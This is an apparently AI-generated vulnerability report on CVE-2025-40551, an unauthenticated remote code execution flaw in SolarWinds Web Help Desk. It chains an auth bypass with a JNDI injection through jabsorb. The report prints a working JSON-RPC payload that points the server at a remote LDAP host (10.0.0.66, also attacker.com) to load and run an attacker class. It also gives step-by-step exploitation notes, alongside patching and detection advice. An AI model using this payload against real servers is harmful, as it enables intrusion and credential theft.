CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-40551
9.854.99%

Ghost in the Shell: Unauthenticated RCE in SolarWinds Web Help Desk

Alon Barad
Alon Barad
Software Engineer

Feb 10, 2026·6 min read·7 visits

Active ExploitationCISA KEV ListedRansomware Use

Executive Summary (TL;DR)

Unauthenticated attackers can bypass access controls to reach a JSON-RPC endpoint, instantiate arbitrary Java classes, and trigger a JNDI injection via `JNDIConnectionPool`, resulting in immediate RCE as SYSTEM.

A critical unauthenticated remote code execution (RCE) vulnerability in SolarWinds Web Help Desk (WHD) allows attackers to execute arbitrary commands with SYSTEM privileges. The flaw stems from a dangerous combination of an authentication bypass and insecure deserialization within the legacy 'jabsorb' library, leading to a classic JNDI injection scenario.

The Hook: It's Always DNS (or JNDI)

If you thought we left JNDI injections behind in the smoldering crater of Log4j back in 2021, I have bad news for you. SolarWinds Web Help Desk (WHD), a piece of software that likely knows more about your internal infrastructure than you do, has dropped a massive critical vulnerability that feels like a greatest hits album of Java security failures.

CVE-2025-40551 isn't just a bug; it's a catastrophic alignment of legacy code debt and modern exploitation techniques. WHD is widely used by IT departments to manage tickets and assets. Crucially, it often runs with SYSTEM or Root privileges because, well, it's easier that way, right? This makes it a prime target for initial access brokers and ransomware gangs.

Here is the reality of the situation: An unauthenticated attacker can send a few HTTP requests to your exposed WHD instance and walk away with a shell running as the highest privileged user on the box. From there, pivoting to the domain controller is usually just a formality. The vulnerability is already being exploited in the wild, earning it a spot on CISA's KEV list faster than you can say 'LDAP'.

The Flaw: A Tale of Two Bugs

This RCE is actually a beautiful (or horrifying) marriage of two separate issues. The first is an Authentication Bypass (CVE-2025-40536) that lets the riff-raff in the front door. The second is the Insecure Deserialization (CVE-2025-40551) that lets them burn the house down.

The culprit at the heart of the RCE is jabsorb, an ancient JSON-RPC library used by WHD to bridge JavaScript on the frontend with Java objects on the backend. Conceptually, jabsorb is designed to take a JSON request and instantiate a Java object to handle it. In a secure world, this endpoint would be locked behind a heavy iron gate of authentication.

However, SolarWinds' developers implemented a URL validation check that was... optimistic. By simply injecting /ajax/ into the query parameters of a request to the LoginPref page, attackers can trick the server into thinking the request is for a benign resource. This bypasses the authentication filter entirely, allowing an unauthenticated user to initialize the JSONRpcClient. Once you can talk to the JSON-RPC bridge, you can tell it to instantiate any class available on the classpath. It's like locking your front door but leaving the keys in the mailbox.

The Code: The Smoking Gun

Let's look at the mechanics. The vulnerability relies on the application's willingness to hydrate Java objects from JSON definitions without validating the class type. The attacker doesn't need to upload a malicious file; they just need to tell the server to load a class that already exists in the code but behaves badly when poked.

The 'gadget' of choice here is org.apache.xalan.lib.sql.JNDIConnectionPool. This class is present in many Java environments and is notorious in the deserialization world. It has a property called jndiPath. When this property is set, the class attempts to resolve the path using JNDI (Java Naming and Directory Interface).

Here is what the logic looks like in an abstract sense. The jabsorb library processes a request like this:

  1. Read Class: It sees javaClass: "org.apache.xalan.lib.sql.JNDIConnectionPool".
  2. Instantiate: It creates an instance of that pool.
  3. Set Properties: It sees jndiPath: "ldap://attacker.com/Exploit" and calls the setter.
  4. Trigger: The setter (or subsequent usage) triggers the lookup.

The code doesn't check if the user should be creating a Connection Pool. It just does it. And because JNDI is powerful, it reaches out to the attacker's LDAP server, downloads a remote class file, and executes it. No compiled exploit code on disk, just pure memory corruption and logic abuse.

The Exploit: From Zero to SYSTEM

Exploiting this requires a precise chain of events. It's not a single packet kill, but it's close. Here is the 'Hacker's View' of the attack lifecycle:

Step 1: The Setup First, the attacker needs a valid session context, even if unauthenticated. They hit the WHD root to grab a wosid (WebObjects Session ID) and XSRF-TOKEN. This is standard housekeeping.

Step 2: The Bypass The attacker constructs a GET request to initialize the RPC client. Notice the badparam=/ajax/ injection. This confuses the path parser, allowing access to the protected LoginPref page logic without credentials.

Step 3: The Payload Now, the attacker sends a POST request to the JSON-RPC endpoint. The payload is pure malicious art:

{
  "method": "wopage.setVariableValueForName",
  "params": [
    "exploit_trigger",
    {
      "javaClass": "org.apache.xalan.lib.sql.JNDIConnectionPool",
      "jndiPath": "ldap://10.0.0.66:1389/Exploit"
    }
  ]
}

Step 4: The Execution The server receives this, creates the connection pool, and reaches out to 10.0.0.66 on port 1389 via LDAP. The attacker's rogue LDAP server responds with a reference to a Java class file (e.g., Exploit.class) hosted on an HTTP server. The WHD server downloads this class and executes its constructor. Boom. You have a shell running as SYSTEM.

The Impact: Why You Should Panic

Let's be blunt: This is a 'Game Over' vulnerability. We aren't talking about a stored XSS where you steal a cookie. We are talking about unauthenticated Remote Code Execution on a server that is likely critical to your IT operations.

Because Web Help Desk is often integrated with Active Directory for SSO and user management, the compromised server is a treasure trove of credentials. Attackers can dump LSASS, steal service account tokens, or pivot directly to the Domain Controller.

Microsoft has confirmed active exploitation where threat actors used this exact flaw to deploy web shells and perform lateral movement within minutes of compromise. If this server is internet-facing (and Shodan says thousands of them are), it is likely already compromised. The EPSS score is skyrocketing, and ransomware groups are undoubtedly adding this to their automated scanning toolkits.

Mitigation: Stopping the Bleeding

There is only one real fix: Upgrade to version 2026.1. SolarWinds has patched both the auth bypass and the deserialization flaw. Do not pass Go, do not collect $200, just patch it.

If you cannot patch immediately (why?), you need to cut off access. Isolate the Web Help Desk server from the internet. There is almost zero valid business reason for your internal help desk portal to be reachable from the public web without a VPN.

Detection Hunting: Look for outbound traffic on ports 389 (LDAP), 636 (LDAPS), and 1099 (RMI) initiating from your WHD server. Unless your help desk is also a domain controller (God forbid), it shouldn't be making arbitrary LDAP connections to random IP addresses in Russia or the Netherlands. Also, scan your logs for the string /ajax/ appearing in query parameters for pages that shouldn't have them.

Official Patches

SolarWindsOfficial Security Advisory and Patch Download

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
54.99%
Top 2% most exploited

Affected Systems

SolarWinds Web Help Desk <= 12.8.3 HF2SolarWinds Web Help Desk 12.8.4SolarWinds Web Help Desk <= 12.8.8 HF1

Affected Versions Detail

Product
Affected Versions
Fixed Version
Web Help Desk
SolarWinds
<= 12.8.8 HF12026.1
AttributeDetail
CWE IDCWE-502 (Deserialization of Untrusted Data)
Attack VectorNetwork (CVSS: AV:N)
CVSS Score9.8 (Critical)
Privileges RequiredNone (PR:N)
Exploit StatusActive Exploitation (CISA KEV)
EPSS Score0.54991 (High Probability)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1210Exploitation of Remote Services
Lateral Movement
T1059.001Command and Scripting Interpreter: PowerShell
Execution
CWE-502
Deserialization of Untrusted Data

Vulnerability Timeline

Vulnerability Disclosed & CVE Published
2026-01-28
Added to CISA KEV Catalog
2026-02-03
Microsoft Confirms Domain Compromise Attacks
2026-02-06

References & Sources

  • [1]Horizon3.ai Technical Analysis
  • [2]Microsoft: Active Exploitation Analysis

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.